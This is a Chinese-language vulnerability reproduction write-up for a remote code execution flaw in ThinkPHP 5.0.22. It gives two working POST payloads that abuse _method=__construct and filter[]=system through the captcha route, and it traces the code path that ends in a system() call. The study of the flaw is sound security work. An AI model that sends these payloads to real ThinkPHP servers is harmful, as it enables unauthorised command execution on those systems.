漏洞存在于 ThinkPHP 底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致 远程代码执行漏洞 的产生。
环境搭建:Phpstudy:
- OS:
Windows
- PHP:
7.3.4
- ThinkPHP:
5.0.22
http://xxxxxx.xxx/public/?s=captcha
Body
_method=__construct&filter[]=system&method=get&get[]=whoami
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
复现分析
POC 1
调试分析,Thinkphp的程序是从App.php
开始的,在App::run
中,先通过$dispatch = self::routeCheck($request, $config);
对路由进行检测
在该方法中,又调用了Route::check
方法,跟进
存在$method = strtolower($request->method());
,跟进method
方法,进入了Request.php
默认$method = false
时进入分支条件
注意到:$this->method = strtoupper($_POST[Config::get('var_method')]);
这里的var_method
对应_method
,在Config.php
中
$method
来自可控的 $_POST
数组,而且在获取之后没有进行任何检查,直接把它作为 Request 类的方法进行调用,同时,该方法传入的参数是可控数据 $_POST
。也就相当于可以随意调用 Request 类的部分方法。
我们传入的参数:_method=__construct&filter[]=system&method=get&get[]=whoami
它会调用__construct
方法,而该方法中有类属性覆盖功能
那么在结束method方法时,我们需要返回参数$this->method
为get
继续分析
进入了exec方法,?s=captcha
就可以让$dispatch['type']
是method
在 ThinkPHP5 完整版中,定义了验证码类的路由地址。程序在初始化时,会通过自动类加载机制,将 vendor 目录下的文件加载,这样在 GET 方式中便多了这一条路由。我们便可以利用这一路由地址,使得 $dispatch['type']
等于 method ,从而完成 远程代码执行 漏洞。
进入Request::instance()->param()
$this->param
通过array_merge
将当前请求参数和URL地址中的参数合并。
跟进get方法
由于之前的变量覆盖get有值
所以会进入input
方法
它返回了get数组值,而$this->param
也会有值
接着我们再次进入input方法
进入解析过滤器
发现是通过$filter
参数获取的方法,由之前的变量覆盖
那么array_walk_recursive($data, [$this, 'filterValue'], $filter);
会调用filterValue
方法
之后就通过回调函数进行RCE
该调用链的payload:
http://xxxxxx.xxx/public/?s=captcha
POST:
_method=__construct&filter[]=system&method=get&get[]=whoami
POC 2
跟进一下method()
方法,这里的$method
是true:
继续跟进server
方法
这里也有input方法
return $this->server('REQUEST_METHOD') ?: 'GET';
这里的name为REQUEST_METHOD
,第一个参数$this->server
可以利用之前__construct()
方法进行属性覆盖,设置server[REQUEST_METHOD]=whoami
,之后会调用到getFilter()
,于是分析思路和上一个相似,最终调用回调函数进行RCE
来自一位师傅:
该复现过程基本是跟着Y4师傅来的,很多地方现在理解也不是很清楚,希望以后能继续完善吧!
继续努力!